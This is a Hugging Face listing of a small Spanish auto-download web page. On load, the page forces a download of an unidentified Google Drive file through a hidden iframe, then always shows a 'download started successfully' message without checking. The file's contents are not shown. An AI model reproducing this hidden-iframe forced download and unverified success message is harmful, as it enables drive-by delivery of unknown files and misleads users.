Download index.html from Segesp/descarga: direct link, hf CLI and curl.
- Browser
- Download file 5.07 kB
-
https://huggingface.co/spaces/Segesp/descarga/resolve/main/index.html
- Command line
-
hf download hf://spaces/Segesp/descarga/index.html
-
curl -L -o index.html https://huggingface.co/spaces/Segesp/descarga/resolve/main/index.html
5.07 kB
| <html lang="es"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>Descarga Automática</title> | |
| <script src="https://cdn.tailwindcss.com"></script> | |
| <style> | |
| .loading-spinner { | |
| border: 4px solid rgba(0, 0, 0, 0.1); | |
| border-radius: 50%; | |
| border-top: 4px solid #3b82f6; | |
| width: 40px; | |
| height: 40px; | |
| animation: spin 1s linear infinite; | |
| margin: 0 auto; | |
| } | |
| @keyframes spin { | |
| 0% { transform: rotate(0deg); } | |
| 100% { transform: rotate(360deg); } | |
| } | |
| .fade-in { | |
| animation: fadeIn 0.5s ease-in; | |
| } | |
| @keyframes fadeIn { | |
| from { opacity: 0; } | |
| to { opacity: 1; } | |
| } | |
| </style> | |
| </head> | |
| <body class="bg-gray-100 min-h-screen flex flex-col items-center justify-center p-4"> | |
| <div class="bg-white rounded-xl shadow-lg p-8 max-w-md w-full text-center fade-in"> | |
| <div class="mb-6"> | |
| <svg xmlns="http://www.w3.org/2000/svg" class="h-16 w-16 mx-auto text-blue-500" fill="none" viewBox="0 0 24 24" stroke="currentColor"> | |
| <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M7 16a4 4 0 01-.88-7.903A5 5 0 1115.9 6L16 6a5 5 0 011 9.9M9 19l3 3m0 0l3-3m-3 3V10" /> | |
| </svg> | |
| </div> | |
| <h1 class="text-2xl font-bold text-gray-800 mb-4">Preparando tu descarga</h1> | |
| <p class="text-gray-600 mb-6">El archivo se descargará automáticamente en unos momentos. Por favor, no cierres esta página.</p> | |
| <div id="spinner" class="loading-spinner mb-6"></div> | |
| <div id="success-message" class="hidden"> | |
| <div class="bg-green-100 border border-green-400 text-green-700 px-4 py-3 rounded mb-4"> | |
| <p>¡Descarga iniciada con éxito!</p> | |
| </div> | |
| <p class="text-gray-600 mb-4">Si la descarga no comienza automáticamente, haz clic en el botón de abajo.</p> | |
| <a href="https://drive.usercontent.google.com/download?id=1JMZqEPV6sXNQ0vxt6nnS6s8Tjpzlgpbz&export=download&authuser=0&confirm=t" | |
| class="bg-blue-500 hover:bg-blue-600 text-white font-bold py-2 px-6 rounded-lg transition duration-200 inline-block"> | |
| Descargar ahora | |
| </a> | |
| </div> | |
| <div id="error-message" class="hidden"> | |
| <div class="bg-red-100 border border-red-400 text-red-700 px-4 py-3 rounded mb-4"> | |
| <p>Ocurrió un error al intentar descargar el archivo.</p> | |
| </div> | |
| <p class="text-gray-600 mb-4">Por favor, intenta descargarlo manualmente.</p> | |
| <a href="https://drive.usercontent.google.com/download?id=1JMZqEPV6sXNQ0vxt6nnS6s8Tjpzlgpbz&export=download&authuser=0&confirm=t" | |
| class="bg-blue-500 hover:bg-blue-600 text-white font-bold py-2 px-6 rounded-lg transition duration-200 inline-block"> | |
| Intentar nuevamente | |
| </a> | |
| </div> | |
| </div> | |
| <script> | |
| document.addEventListener('DOMContentLoaded', function() { | |
| setTimeout(function() { | |
| try { | |
| // Crear iframe oculto para forzar la descarga | |
| const iframe = document.createElement('iframe'); | |
| iframe.style.display = 'none'; | |
| iframe.src = 'https://drive.usercontent.google.com/download?id=1JMZqEPV6sXNQ0vxt6nnS6s8Tjpzlgpbz&export=download&authuser=0&confirm=t'; | |
| document.body.appendChild(iframe); | |
| // Verificar si la descarga comenzó | |
| setTimeout(function() { | |
| document.getElementById('spinner').classList.add('hidden'); | |
| document.getElementById('success-message').classList.remove('hidden'); | |
| }, 3000); | |
| } catch (e) { | |
| console.error('Error al descargar:', e); | |
| document.getElementById('spinner').classList.add('hidden'); | |
| document.getElementById('error-message').classList.remove('hidden'); | |
| } | |
| }, 1500); | |
| }); | |
| </script> | |
| <p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=Segesp/descarga" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body> | |
| </html> |